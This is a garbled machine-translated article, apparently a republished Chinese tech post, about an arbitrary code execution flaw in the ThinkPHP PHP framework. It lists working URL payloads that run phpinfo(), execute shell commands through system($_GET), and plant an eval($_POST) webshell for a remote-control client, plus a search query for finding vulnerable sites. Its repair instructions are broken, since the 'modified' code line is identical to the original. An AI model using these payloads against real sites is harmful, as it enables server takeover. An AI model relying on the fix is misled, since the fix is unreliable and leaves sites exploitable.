Thinkphp is a well-known open source PHP framework that was created to simplify enterprise application development and Agile Web application development. First born in early 2006, the original fcs,2007 New Year's Day officially renamed Thinkphp, and follow the Apache2 open source agreement released. The early thought framework came from struts, which was later improved and perfected, and also borrowed from many excellent foreign frameworks and models, using object-oriented development structures and MVC patterns to fuse struts ' action and DAO Ideas and JSP taglib (tag library), ROR's ORM Mapping and ActiveRecord mode, encapsulating curd and some common operations, single entry mode, etc., have unique performance in the template engine, caching mechanism, authentication mechanism and extensibility.
However, the recent thinkphp framework has revealed an arbitrary code execution vulnerability, which is highly harmful and exploits the following methods:
index.php/module/aciton/param1/${@print (think_version)} index.php/module/aciton/param1/${@function_all ()}
One of the Function_all represents any function, such as:
index.php/module/aciton/param1/${@phpinfo ()}
You can obtain system configuration information for the server, and so on.
Index.php/module/action/param1/{${system ($_get[' x '])}}?x=ls-al
List of web site files can be listed
Index.php/module/action/param1/{${eval ($_post[s])}}
You can directly execute a sentence code, with a kitchen knife directly connected.
This allows hackers to search the keyword directly through Google: thinkphp intitle: A system error has occurred to get more lists of sites using the thinkphp framework. It can be seen that its harmfulness is quite large.
thinkphp Framework execution of arbitrary Code vulnerability Repair method:
Users can download the official release of the Patch:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
or directly modify the source code:
Add the/thinkphp/lib/core/dispatcher.class.php file in the
$res = Preg_replace (' @ (w+) '. $depr. ' ([^ '. $depr. ' \/]+) @e ', ' $var [\ ' \\1\ ']= ' \\2 '; ', implode ($DEPR, $paths));
Modified to:
$res = Preg_replace (' @ (w+) '. $depr. ' ([^ '. $depr. ' \/]+) @e ', ' $var [\ ' \\1\ ']= ' \\2 '; ', implode ($DEPR, $paths));
Change the double quotation mark in preg_replace second argument to single quotation mark to prevent PHP variable syntax from being parsed.
Note: This article is for study reference only, please do not use for illegal use.
http://www.bkjia.com/PHPjc/824633.html www.bkjia.com true http://www.bkjia.com/PHPjc/824633.html techarticle thinkphp is a well-known open source PHP framework that was created to simplify enterprise application development and Agile Web application development. First born in early 2006, formerly fcs,2007 New Year's Day formally more ...